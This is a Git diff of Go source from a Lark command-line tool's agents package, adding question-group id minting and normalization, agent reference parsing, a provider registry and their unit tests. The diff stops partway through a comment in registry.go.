// - Instance: ONE template applied to every runtime agent_id; handlers read
|
||||
// rt.AgentID() to know which agent they serve.
|
||||
type AgentSpec struct {
|
||||
ID string // catalog: required + unique; instance: MUST be empty
|
||||
|
||||
// Brands scopes the WHOLE agent to a subset of brands (feishu/lark): empty
|
||||
// means visible/usable under every brand. It is declared at registration
|
||||
// (brand-agnostic) and filtered/gated at command time against the resolved
|
||||
// brand — catalog list visibility and every verb's brand gate consult
|
||||
// SpecAvailableForBrand. Register validates every value is feishu|lark.
|
||||
Brands []core.LarkBrand
|
||||
|
||||
// Per-agent card metadata (static, read offline).
|
||||
Name string
|
||||
Description string
|
||||
Skills []CardSkill
|
||||
|
||||
// Behavioral flags with no backing operation (the only capability bits not
|
||||
// derived from a handler).
|
||||
FileInput bool
|
||||
InputRequired bool
|
||||
|
||||
// Core operations (Register asserts both handlers non-nil for every spec).
|
||||
Send SendOp
|
||||
GetTask TaskGetOp
|
||||
|
||||
// Optional operations (zero-value Op = unsupported; the command layer gates
|
||||
// on the unwired handler and returns a unified unsupported_capability before
|
||||
// any network call, and derives the card matrix from which are wired).
|
||||
ListTasks TaskListOp
|
||||
CancelTask TaskCancelOp
|
||||
ListContexts ContextListOp
|
||||
GetContext ContextGetOp
|
||||
DeleteContext ContextDeleteOp
|
||||
DownloadArtifact ArtifactDownloadOp
|
||||
|
||||
// Describe optionally supplies per-agent Card metadata (Name/Description/
|
||||
// Skills) and is the place to validate an unknown agent_id (return a typed
|
||||
// error). It is invoked ONLY when a runtime is available (configured), so
|
||||
// offline the card is always caps + registration metadata + the static
|
||||
// fields above. It is card enrichment, not an operation, so it stays a plain
|
||||
// func. A catalog spec typically leaves it nil and uses the static
|
||||
// Name/Description; an instance provider wires it to fetch its card remotely.
|
||||
Describe func(ctx context.Context, rt Runtime) (*CardInfo, error)
|
||||
}
|
||||
259
internal/agents/questions.go
Normal file
259
internal/agents/questions.go
Normal file
@@ -0,0 +1,259 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// KeyCharsetRE is the single source of the machine-key charset (question_id /
|
||||
// option_id / task_id / context_id): first character alphanumeric — which
|
||||
// rejects flag-lookalike ids such as "--text" or "-o" before they can reach a
|
||||
// command line — then [A-Za-z0-9_-]. Every enforcement point (this package's
|
||||
// KeyPattern, the command layer's --answer key grammar and meta.next
|
||||
// interpolation whitelist) MUST build its regexp from this constant, or a key
|
||||
// accepted at one layer becomes a dead end at another.
|
||||
const KeyCharsetRE = `[A-Za-z0-9][A-Za-z0-9_-]*`
|
||||
|
||||
// KeyPattern is KeyCharsetRE anchored — the whole-string machine-key check.
|
||||
var KeyPattern = regexp.MustCompile(`^` + KeyCharsetRE + `$`)
|
||||
|
||||
// AnswerTextSuffix is the --answer key suffix marking a free-text entry:
|
||||
// "<qid>.text". Exactly one suffix, case-sensitive; the '.' is outside
|
||||
// KeyPattern's charset, so the split is never ambiguous.
|
||||
const AnswerTextSuffix = ".text"
|
||||
|
||||
// SplitAnswerKey splits an --answer key into its question id and whether it is
|
||||
// the free-text form: "q1.text" → ("q1", true), "q1" → ("q1", false). It does
|
||||
// NOT validate the charset — callers check KeyPattern on the returned qid.
|
||||
func SplitAnswerKey(key string) (qid string, isText bool) {
|
||||
if q, ok := strings.CutSuffix(key, AnswerTextSuffix); ok {
|
||||
return q, true
|
||||
}
|
||||
return key, false
|
||||
}
|
||||
|
||||
// MintQuestionIDs fills conforming machine keys into a question group at
|
||||
// GROUP-CREATION time (before the group is persisted — render-time minting is
|
||||
// non-conforming: a stateless CLI would mint different ids per read and the
|
||||
// answer could never be routed back). Questions lacking a QuestionID get
|
||||
// "q<pos>_<suffix>"; options lacking an OptionID get "opt<pos>" (option ids
|
||||
// only need uniqueness within their question — staleness protection rides the
|
||||
// question ids). suffix MUST differ between a task's successive groups
|
||||
// (monotonic per-task counter, or DeriveGroupSuffix over a per-group anchor):
|
||||
// that cross-group uniqueness is what makes a stale retry hit unknown_question
|
||||
// instead of silently answering the next group.
|
||||
func MintQuestionIDs(qs []Question, suffix string) {
|
||||
seen := make(map[string]bool, len(qs))
|
||||
for i := range qs {
|
||||
if qs[i].QuestionID != "" {
|
||||
seen[qs[i].QuestionID] = true
|
||||
}
|
||||
}
|
||||
for i := range qs {
|
||||
if qs[i].QuestionID == "" {
|
||||
// A minted id must never collide with a provider-supplied one in the
|
||||
// same group (a duplicate would degrade the whole group at
|
||||
// normalization, §3.2) — extend the suffix until free.
|
||||
id := fmt.Sprintf("q%d_%s", i+1, suffix)
|
||||
for seen[id] {
|
||||
id += "x"
|
||||
}
|
||||
qs[i].QuestionID = id
|
||||
seen[id] = true
|
||||
}
|
||||
seenOpt := make(map[string]bool, len(qs[i].Options))
|
||||
for j := range qs[i].Options {
|
||||
if qs[i].Options[j].OptionID != "" {
|
||||
seenOpt[qs[i].Options[j].OptionID] = true
|
||||
}
|
||||
}
|
||||
for j := range qs[i].Options {
|
||||
if qs[i].Options[j].OptionID == "" {
|
||||
id := fmt.Sprintf("opt%d", j+1)
|
||||
for seenOpt[id] {
|
||||
id += "x"
|
||||
}
|
||||
qs[i].Options[j].OptionID = id
|
||||
seenOpt[id] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// DeriveGroupSuffix derives a deterministic short group suffix from a stable
|
||||
// per-group anchor — e.g. the A2A TaskStatus timestamp (updated_at): the same
|
||||
// group re-derives the same suffix in any process (a persistence-less
|
||||
// pass-through adapter can validate an incoming answer key by re-derivation),
|
||||
// and a successor group's changed anchor derives a different one (staleness).
|
||||
// CAVEAT for adapters: second-resolution timestamps can repeat across two
|
||||
// rapid-fire groups — an adapter whose anchor did NOT change between groups
|
||||
// MUST treat the situation as key-indistinguishable and reject stale-ambiguous
|
||||
// answers itself; the suffix cannot tell the groups apart for it.
|
||||
func DeriveGroupSuffix(anchor string) string {
|
||||
sum := sha256.Sum256([]byte(anchor))
|
||||
return hex.EncodeToString(sum[:])[:6]
|
||||
}
|
||||
|
||||
// groupAnchor picks the stable per-group anchor for a task's pending group:
|
||||
// updated_at (set on every status change, A2A TaskStatus.timestamp) with the
|
||||
// task id as last resort.
|
||||
func groupAnchor(t *AgentTask) string {
|
||||
if t.UpdatedAt != "" {
|
||||
return t.UpdatedAt
|
||||
}
|
||||
return t.TaskID
|
||||
}
|
||||
|
||||
// NormalizeInputRequired applies the design doc §3.2 rules to a
|
||||
// provider-supplied task projection, centrally, so every read path (send
|
||||
// result, task get, watch) sees one canonical shape and no provider ships its
|
||||
// own interpretation. Rules:
|
||||
//
|
||||
// - state ≠ input_required carrying a group → the group is dropped (a paused
|
||||
// group is only meaningful while the task waits).
|
||||
// - options: [] → normalized to absent (a zero-option choice question is not
|
||||
// a distinct type — it is a free-text question).
|
||||
// - questions empty/absent but the group carries prompt text
|
||||
// (Label/Description) → the bare A2A shape: the text becomes one ordinary
|
||||
// free-text question with a deterministically derived id. No special
|
||||
// "unstructured" answer channel exists.
|
||||
// - questions empty and no text at all → the group is dropped (nothing to
|
||||
// ask), with a notice.
|
||||
// - any key (question_id/option_id) violating KeyPattern, or duplicate
|
||||
// question ids in the group / option ids in a question → the whole group
|
||||
// DEGRADES to one free-text question preserving the question texts, with a
|
||||
// notice naming the provider defect — never a placeholder key the CLI's own
|
||||
// guard would reject.
|
||||
//
|
||||
// The returned notice is "" when nothing noteworthy happened; a non-empty
|
||||
// notice is surfaced to the caller (envelope _notice) so provider defects are
|
||||
// observable instead of silently smoothed over.
|
||||
func NormalizeInputRequired(t *AgentTask) (notice string) {
|
||||
if t == nil || t.InputRequired == nil {
|
||||
return ""
|
||||
}
|
||||
if t.State != StateInputRequired {
|
||||
t.InputRequired = nil
|
||||
return ""
|
||||
}
|
||||
ir := t.InputRequired
|
||||
|
||||
// Size caps (§11 central bounds): a hostile or buggy provider must not be
|
||||
// able to flood the JSON surface, the per-question meta.next expansion, or
|
||||
// the terminal through an unbounded group.
|
||||
var truncated bool
|
||||
if len(ir.Questions) > maxGroupQuestions {
|
||||
ir.Questions = ir.Questions[:maxGroupQuestions]
|
||||
truncated = true
|
||||
}
|
||||
ir.Label = capRunes(ir.Label, maxGroupTextRunes)
|
||||
ir.Description = capRunes(ir.Description, maxGroupTextRunes)
|
||||
for i := range ir.Questions {
|
||||
q := &ir.Questions[i]
|
||||
if len(q.Options) > maxQuestionOptions {
|
||||
q.Options = q.Options[:maxQuestionOptions]
|
||||
truncated = true
|
||||
}
|
||||
// options: [] → absent; multi_select is meaningless without options.
|
||||
if len(q.Options) == 0 {
|
||||
q.Options = nil
|
||||
q.MultiSelect = false
|
||||
}
|
||||
q.Question = capRunes(q.Question, maxGroupTextRunes)
|
||||
for j := range q.Options {
|
||||
q.Options[j].Label = capRunes(q.Options[j].Label, maxGroupTextRunes)
|
||||
q.Options[j].Description = capRunes(q.Options[j].Description, maxGroupTextRunes)
|
||||
}
|
||||
}
|
||||
if truncated {
|
||||
notice = "provider 问题组超出规模上限,已截断;"
|
||||
}
|
||||
|
||||
if len(ir.Questions) == 0 {
|
||||
text := ir.Label
|
||||
if text == "" {
|
||||
text = ir.Description
|
||||
}
|
||||
if text == "" {
|
||||
t.InputRequired = nil
|
||||
return notice + "provider 返回了空问题组,已忽略"
|
||||
}
|
||||
ir.Questions = []Question{{
|
||||
QuestionID: "q1_" + DeriveGroupSuffix(groupAnchor(t)),
|
||||
Question: text,
|
||||
}}
|
||||
return notice
|
||||
}
|
||||
|
||||
if defect := groupKeyDefect(ir.Questions); defect != "" {
|
||||
var texts []string
|
||||
for _, q := range ir.Questions {
|
||||
if q.Question != "" {
|
||||
texts = append(texts, q.Question)
|
||||
}
|
||||
}
|
||||
text := capRunes(strings.Join(texts, ";"), maxGroupTextRunes)
|
||||
if text == "" {
|
||||
text = ir.Label
|
||||
}
|
||||
ir.Questions = []Question{{
|
||||
QuestionID: "q1_" + DeriveGroupSuffix(groupAnchor(t)),
|
||||
Question: text,
|
||||
}}
|
||||
return notice + "provider 问题键不合规(" + defect + "),该组已降级为自由文本作答"
|
||||
}
|
||||
return notice
|
||||
}
|
||||
|
||||
// Central size bounds for a question group (§11): generous multiples of the
|
||||
// §6.9 SHOULD (groups of 4-5), hard enough to stop output flooding.
|
||||
const (
|
||||
maxGroupQuestions = 32
|
||||
maxQuestionOptions = 64
|
||||
maxGroupTextRunes = 2000
|
||||
maxKeyRunes = 64
|
||||
)
|
||||
|
||||
// capRunes rune-truncates display text to max (no ellipsis — the bound is a
|
||||
// safety cap, not a formatting rule; pretty rendering truncates again anyway).
|
||||
func capRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max])
|
||||
}
|
||||
|
||||
// groupKeyDefect reports the first key-discipline violation in a question
|
||||
// group ("" when clean): a question_id/option_id failing KeyPattern, a
|
||||
// duplicate question_id within the group, or a duplicate option_id within a
|
||||
// question.
|
||||
func groupKeyDefect(qs []Question) string {
|
||||
seenQ := make(map[string]bool, len(qs))
|
||||
for _, q := range qs {
|
||||
if !KeyPattern.MatchString(q.QuestionID) || len(q.QuestionID) > maxKeyRunes {
|
||||
return fmt.Sprintf("question_id %q 非法", capRunes(q.QuestionID, 40))
|
||||
}
|
||||
if seenQ[q.QuestionID] {
|
||||
return fmt.Sprintf("question_id %q 重复", q.QuestionID)
|
||||
}
|
||||
seenQ[q.QuestionID] = true
|
||||
seenO := make(map[string]bool, len(q.Options))
|
||||
for _, o := range q.Options {
|
||||
if !KeyPattern.MatchString(o.OptionID) || len(o.OptionID) > maxKeyRunes {
|
||||
return fmt.Sprintf("option_id %q 非法", capRunes(o.OptionID, 40))
|
||||
}
|
||||
if seenO[o.OptionID] {
|
||||
return fmt.Sprintf("option_id %q 重复", o.OptionID)
|
||||
}
|
||||
seenO[o.OptionID] = true
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
162
internal/agents/questions_test.go
Normal file
162
internal/agents/questions_test.go
Normal file
@@ -0,0 +1,162 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestKeyPattern pins the shared key charset: first char alphanumeric (rejects
|
||||
// flag-lookalike ids), then [A-Za-z0-9_-]; '.' is never part of a key.
|
||||
func TestKeyPattern(t *testing.T) {
|
||||
ok := []string{"q1", "q1_a8", "by_region", "Opt-2", "8ball"}
|
||||
for _, k := range ok {
|
||||
if !KeyPattern.MatchString(k) {
|
||||
t.Errorf("KeyPattern should accept %q", k)
|
||||
}
|
||||
}
|
||||
bad := []string{"", "--text", "-o", "_x", "q.1", "q 1", "维度", "q1.text"}
|
||||
for _, k := range bad {
|
||||
if KeyPattern.MatchString(k) {
|
||||
t.Errorf("KeyPattern must reject %q", k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitAnswerKey(t *testing.T) {
|
||||
if q, isText := SplitAnswerKey("q1_a8.text"); q != "q1_a8" || !isText {
|
||||
t.Errorf("q1_a8.text → (%q,%v)", q, isText)
|
||||
}
|
||||
if q, isText := SplitAnswerKey("q1_a8"); q != "q1_a8" || isText {
|
||||
t.Errorf("q1_a8 → (%q,%v)", q, isText)
|
||||
}
|
||||
// exactly one suffix strip: "q.text.text" leaves "q.text" (then fails KeyPattern).
|
||||
if q, isText := SplitAnswerKey("q.text.text"); q != "q.text" || !isText {
|
||||
t.Errorf("double suffix should strip once, got (%q,%v)", q, isText)
|
||||
}
|
||||
// case-sensitive: ".TEXT" is not the text form.
|
||||
if _, isText := SplitAnswerKey("q1.TEXT"); isText {
|
||||
t.Error(".TEXT must not count as the text form")
|
||||
}
|
||||
}
|
||||
|
||||
// TestMintQuestionIDs pins the minting shape (q<pos>_<suffix> / opt<pos>), that
|
||||
// provider-supplied ids are left alone, and that minted ids pass KeyPattern.
|
||||
func TestMintQuestionIDs(t *testing.T) {
|
||||
qs := []Question{
|
||||
{Question: "维度?", Options: []Option{{Label: "按大区"}, {OptionID: "keep", Label: "按品类"}}},
|
||||
{QuestionID: "biz_q", Question: "时间?"},
|
||||
}
|
||||
MintQuestionIDs(qs, "a8")
|
||||
if qs[0].QuestionID != "q1_a8" || qs[1].QuestionID != "biz_q" {
|
||||
t.Errorf("minting should fill empties only: %q, %q", qs[0].QuestionID, qs[1].QuestionID)
|
||||
}
|
||||
if qs[0].Options[0].OptionID != "opt1" || qs[0].Options[1].OptionID != "keep" {
|
||||
t.Errorf("option minting should fill empties only: %+v", qs[0].Options)
|
||||
}
|
||||
if !KeyPattern.MatchString(qs[0].QuestionID) || !KeyPattern.MatchString(qs[0].Options[0].OptionID) {
|
||||
t.Error("minted ids must satisfy KeyPattern")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeriveGroupSuffix pins determinism (same anchor → same suffix, any
|
||||
// process) and anchor-sensitivity (new group's changed timestamp → different
|
||||
// suffix — the staleness guarantee for persistence-less adapters).
|
||||
func TestDeriveGroupSuffix(t *testing.T) {
|
||||
a := DeriveGroupSuffix("2026-07-21T00:00:00Z")
|
||||
if a != DeriveGroupSuffix("2026-07-21T00:00:00Z") {
|
||||
t.Error("suffix must be deterministic")
|
||||
}
|
||||
if a == DeriveGroupSuffix("2026-07-21T00:00:01Z") {
|
||||
t.Error("a changed anchor must change the suffix")
|
||||
}
|
||||
if len(a) != 6 || !KeyPattern.MatchString("q1_"+a) {
|
||||
t.Errorf("suffix should be 6 chars and key-safe, got %q", a)
|
||||
}
|
||||
}
|
||||
|
||||
func normTask(state TaskState, ir *InputRequired) *AgentTask {
|
||||
return &AgentTask{TaskID: "task_9", State: state, UpdatedAt: "2026-07-21T00:00:00Z", InputRequired: ir}
|
||||
}
|
||||
|
||||
func TestNormalizeInputRequired(t *testing.T) {
|
||||
// state ≠ input_required → group dropped silently.
|
||||
tk := normTask(StateWorking, &InputRequired{Questions: []Question{{QuestionID: "q1", Question: "x"}}})
|
||||
if n := NormalizeInputRequired(tk); n != "" || tk.InputRequired != nil {
|
||||
t.Errorf("group on a non-paused task must be dropped silently, notice=%q ir=%v", n, tk.InputRequired)
|
||||
}
|
||||
|
||||
// options: [] → absent (a zero-option question IS a free-text question).
|
||||
tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{{QuestionID: "q1", Question: "x", Options: []Option{}}}})
|
||||
if n := NormalizeInputRequired(tk); n != "" || tk.InputRequired.Questions[0].Options != nil {
|
||||
t.Errorf("empty options must normalize to absent, notice=%q", n)
|
||||
}
|
||||
|
||||
// bare A2A shape: no questions, prompt text in Label → one ordinary
|
||||
// free-text question with a deterministic id.
|
||||
tk = normTask(StateInputRequired, &InputRequired{Label: "请补充时间范围"})
|
||||
if n := NormalizeInputRequired(tk); n != "" {
|
||||
t.Errorf("bare-prompt normalization is not a defect, notice=%q", n)
|
||||
}
|
||||
qs := tk.InputRequired.Questions
|
||||
if len(qs) != 1 || qs[0].Question != "请补充时间范围" || !strings.HasPrefix(qs[0].QuestionID, "q1_") {
|
||||
t.Fatalf("bare prompt should become one text question, got %+v", qs)
|
||||
}
|
||||
derived := qs[0].QuestionID
|
||||
tk2 := normTask(StateInputRequired, &InputRequired{Label: "请补充时间范围"})
|
||||
_ = NormalizeInputRequired(tk2)
|
||||
if tk2.InputRequired.Questions[0].QuestionID != derived {
|
||||
t.Error("derived qid must be stable across renders (same anchor)")
|
||||
}
|
||||
|
||||
// nothing at all → dropped with a notice.
|
||||
tk = normTask(StateInputRequired, &InputRequired{})
|
||||
if n := NormalizeInputRequired(tk); n == "" || tk.InputRequired != nil {
|
||||
t.Errorf("empty group must drop with a notice, notice=%q ir=%v", n, tk.InputRequired)
|
||||
}
|
||||
|
||||
// flag-lookalike question_id → whole group degrades to one free-text
|
||||
// question (texts preserved), with a notice; the degraded key passes the
|
||||
// CLI's own grammar (never a dead-end placeholder).
|
||||
tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{
|
||||
{QuestionID: "--text", Question: "维度?"},
|
||||
{QuestionID: "q2", Question: "时间?"},
|
||||
}})
|
||||
n := NormalizeInputRequired(tk)
|
||||
if n == "" || !strings.Contains(n, "不合规") {
|
||||
t.Fatalf("illegal key must degrade with a notice, got %q", n)
|
||||
}
|
||||
qs = tk.InputRequired.Questions
|
||||
if len(qs) != 1 || qs[0].Options != nil || !KeyPattern.MatchString(qs[0].QuestionID) {
|
||||
t.Fatalf("degraded group should be one text question with a legal key, got %+v", qs)
|
||||
}
|
||||
if !strings.Contains(qs[0].Question, "维度?") || !strings.Contains(qs[0].Question, "时间?") {
|
||||
t.Errorf("degradation must preserve question texts, got %q", qs[0].Question)
|
||||
}
|
||||
|
||||
// duplicate option ids within one question → same degradation path.
|
||||
tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{
|
||||
{QuestionID: "q1", Question: "维度?", Options: []Option{{OptionID: "a", Label: "A"}, {OptionID: "a", Label: "B"}}},
|
||||
}})
|
||||
if n := NormalizeInputRequired(tk); n == "" {
|
||||
t.Error("duplicate option ids must degrade with a notice")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSummaryText pins the §3.3 triage digest: label first, else first
|
||||
// question, question count suffixed when >1.
|
||||
func TestSummaryText(t *testing.T) {
|
||||
ir := &InputRequired{Label: "报表生成确认", Questions: []Question{{Question: "维度?"}, {Question: "时间?"}}}
|
||||
if s := ir.SummaryText(); s != "报表生成确认(共 2 题)" {
|
||||
t.Errorf("got %q", s)
|
||||
}
|
||||
ir = &InputRequired{Questions: []Question{{Question: "维度?"}}}
|
||||
if s := ir.SummaryText(); s != "维度?" {
|
||||
t.Errorf("got %q", s)
|
||||
}
|
||||
if (*InputRequired)(nil).SummaryText() != "" {
|
||||
t.Error("nil group → empty summary")
|
||||
}
|
||||
}
|
||||
29
internal/agents/ref.go
Normal file
29
internal/agents/ref.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
|
||||
// validation error by the caller).
|
||||
var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
|
||||
|
||||
// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
|
||||
type Ref struct {
|
||||
Scheme string
|
||||
AgentID string
|
||||
}
|
||||
|
||||
// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
|
||||
// (wrapped into a validation error by the caller).
|
||||
func ParseRef(s string) (Ref, error) {
|
||||
parts := strings.SplitN(s, ":", 2)
|
||||
if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
|
||||
return Ref{}, ErrInvalidRef
|
||||
}
|
||||
return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
|
||||
}
|
||||
24
internal/agents/ref_test.go
Normal file
24
internal/agents/ref_test.go
Normal file
@@ -0,0 +1,24 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseRef(t *testing.T) {
|
||||
r, err := ParseRef("example:agt_xxx")
|
||||
if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
|
||||
t.Fatalf("got %+v err=%v", r, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseRefErrors(t *testing.T) {
|
||||
for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
|
||||
if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
|
||||
t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
460
internal/agents/registry.go
Normal file
460
internal/agents/registry.go
Normal file
@@ -0,0 +1,460 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// ProviderKind is the closed set of provider forms, derived from whether a
|
||||
// Provider set Catalog or Instance (exposed via Provider.Kind()).
|
||||
type ProviderKind string
|
||||
|
||||
const (
|
||||
// KindCatalog: the full agent set is known offline (Provider.Catalog).
|
||||
KindCatalog ProviderKind = "catalog"
|
||||
// KindInstance: agents are created on the platform at runtime, addressed by an
|
||||
// unbounded agent_id (Provider.Instance).
|
||||
KindInstance ProviderKind = "instance"
|
||||
)
|
||||
|
||||
var providerRegistry = map[string]Provider{}
|
||||
|
||||
// Register records a provider (called from the agent/register.go aggregator,
|
||||
// mirroring events/shortcuts). It is pure struct validation — no construction,
|
||||
// no probe. Missing / invalid metadata is an integrator coding error and panics
|
||||
// fail-fast (aligned with the sql.Register convention, including duplicate
|
||||
// registration).
|
||||
func Register(p Provider) {
|
||||
switch {
|
||||
case p.Scheme == "":
|
||||
panic("agent: provider registration with empty Scheme")
|
||||
case p.Label == "":
|
||||
panic("agent: provider missing Label: " + p.Scheme)
|
||||
case p.AgentIDSource == "":
|
||||
panic("agent: provider missing AgentIDSource: " + p.Scheme)
|
||||
case len(p.Identities) == 0:
|
||||
panic("agent: provider missing Identities: " + p.Scheme)
|
||||
}
|
||||
if _, dup := providerRegistry[p.Scheme]; dup {
|
||||
panic("agent: Register called twice for scheme: " + p.Scheme)
|
||||
}
|
||||
for _, id := range p.Identities {
|
||||
if id.Type != IdentityUser && id.Type != IdentityBot {
|
||||
panic("agent: provider invalid Identity Type (want user|bot): " + p.Scheme + ", got: " + string(id.Type))
|
||||
}
|
||||
}
|
||||
hasCatalog, hasInstance := len(p.Catalog) > 0, p.Instance != nil
|
||||
if hasCatalog == hasInstance {
|
||||
panic("agent: provider must set exactly one of Catalog / Instance: " + p.Scheme)
|
||||
}
|
||||
if hasCatalog {
|
||||
seen := make(map[string]bool, len(p.Catalog))
|
||||
for i := range p.Catalog {
|
||||
checkSpec(p.Scheme, &p.Catalog[i], true)
|
||||
if seen[p.Catalog[i].ID] {
|
||||
panic("agent: catalog duplicate entry ID for scheme " + p.Scheme + ": " + p.Catalog[i].ID)
|
||||
}
|
||||
seen[p.Catalog[i].ID] = true
|
||||
}
|
||||
} else {
|
||||
checkSpec(p.Scheme, p.Instance, false)
|
||||
}
|
||||
// ListParams declares the parameters of `agents list <scheme>` — meaningless
|
||||
// without an online enumeration hook to consume them.
|
||||
if len(p.ListParams) > 0 && p.ListAgents == nil {
|
||||
panic("agent: provider declares ListParams without a ListAgents hook: " + p.Scheme)
|
||||
}
|
||||
checkParams(p.Scheme+": agents list", p.ListParams)
|
||||
for i := range p.ListParams {
|
||||
if p.ListParams[i].Type == "" {
|
||||
p.ListParams[i].Type = "string"
|
||||
}
|
||||
}
|
||||
providerRegistry[p.Scheme] = p
|
||||
}
|
||||
|
||||
// checkSpec asserts the mandatory core operations, the ID rule, and every
|
||||
// operation's parameter declarations for one spec. The command layer
|
||||
// dispatches Send/GetTask without a nil-check, so they must be wired.
|
||||
func checkSpec(scheme string, s *AgentSpec, catalog bool) {
|
||||
if !s.Send.wired() {
|
||||
panic("agent: spec missing core Send handler: " + scheme + ":" + s.ID)
|
||||
}
|
||||
if !s.GetTask.wired() {
|
||||
panic("agent: spec missing core GetTask handler: " + scheme + ":" + s.ID)
|
||||
}
|
||||
// An agent that can pause on a question group MUST also let the user walk
|
||||
// away from it: with no TTL in the contract, question-asking without
|
||||
// task_cancel leaves an abandoned group holding awaiting_input forever
|
||||
// (design doc §6.8) — a registration-time coding error, not a runtime one.
|
||||
// The check includes brand coverage: a CancelTask scoped narrower than the
|
||||
// agent's own visibility recreates the dead end on the uncovered brand.
|
||||
if s.InputRequired {
|
||||
if !s.CancelTask.wired() {
|
||||
panic("agent: spec declares InputRequired but wires no CancelTask (提问型 agent 必须可取消): " + scheme + ":" + s.ID)
|
||||
}
|
||||
if len(s.CancelTask.Brands) > 0 && !brandsCover(s.CancelTask.Brands, s.Brands) {
|
||||
panic("agent: spec declares InputRequired but CancelTask is brand-scoped narrower than the agent (提问型 agent 的取消不得窄于其可见品牌): " + scheme + ":" + s.ID)
|
||||
}
|
||||
}
|
||||
if catalog && s.ID == "" {
|
||||
panic("agent: catalog spec missing ID: " + scheme)
|
||||
}
|
||||
if !catalog && s.ID != "" {
|
||||
panic("agent: instance template must have empty ID: " + scheme + ", got: " + s.ID)
|
||||
}
|
||||
// Whole-agent brand scope: every declared value must be a known brand
|
||||
// (mirrors the identity Type fail-fast). Empty ⇒ all brands.
|
||||
for _, b := range s.Brands {
|
||||
if !validBrand(b) {
|
||||
panic("agent: spec invalid Brand (want feishu|lark): " + scheme + ":" + s.ID + ", got: " + string(b))
|
||||
}
|
||||
}
|
||||
for _, o := range s.Ops() {
|
||||
where := scheme + ":" + s.ID + " " + o.Verb
|
||||
// Params physically live on the Op, so the only declared-without-handler
|
||||
// mistake left is a non-empty Params next to a nil Handler.
|
||||
if len(o.Params) > 0 && !o.Wired {
|
||||
panic("agent: params declared on an unwired operation: " + where)
|
||||
}
|
||||
// A brand scope on an unimplemented op is a dead declaration — mirror the
|
||||
// params discipline above.
|
||||
if len(o.Brands) > 0 && !o.Wired {
|
||||
panic("agent: brands declared on an unwired operation: " + where)
|
||||
}
|
||||
// Per-capability brand scope: same known-brand rule as the whole-agent set.
|
||||
for _, b := range o.Brands {
|
||||
if !validBrand(b) {
|
||||
panic("agent: op invalid Brand (want feishu|lark): " + where + ", got: " + string(b))
|
||||
}
|
||||
}
|
||||
checkParams(where, o.Params)
|
||||
}
|
||||
normalizeSpecParams(s)
|
||||
}
|
||||
|
||||
// validBrand reports whether b is one of the two known brands (feishu|lark) —
|
||||
// the Register-time fail-fast guard for spec.Brands and each Op.Brands.
|
||||
func validBrand(b core.LarkBrand) bool {
|
||||
return b == core.BrandFeishu || b == core.BrandLark
|
||||
}
|
||||
|
||||
// brandsCover reports whether opBrands covers every brand the agent itself is
|
||||
// visible under (specBrands empty = all known brands). Used by the
|
||||
// InputRequired⇒CancelTask registration check.
|
||||
func brandsCover(opBrands, specBrands []core.LarkBrand) bool {
|
||||
agentBrands := specBrands
|
||||
if len(agentBrands) == 0 {
|
||||
agentBrands = []core.LarkBrand{core.BrandFeishu, core.BrandLark}
|
||||
}
|
||||
for _, b := range agentBrands {
|
||||
if !OpAvailableForBrand(opBrands, b) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// SpecAvailableForBrand reports whether the WHOLE agent is visible/usable under
|
||||
// `brand`: an empty spec.Brands means every brand, otherwise `brand` must be
|
||||
// listed. It backs catalog list filtering and the command layer's whole-agent
|
||||
// brand gate. (Op-level scoping is OpAvailableForBrand.)
|
||||
func SpecAvailableForBrand(s *AgentSpec, brand core.LarkBrand) bool {
|
||||
return OpAvailableForBrand(s.Brands, brand)
|
||||
}
|
||||
|
||||
// paramNameRe is the parameter-name charset: a strict subset of the meta.next
|
||||
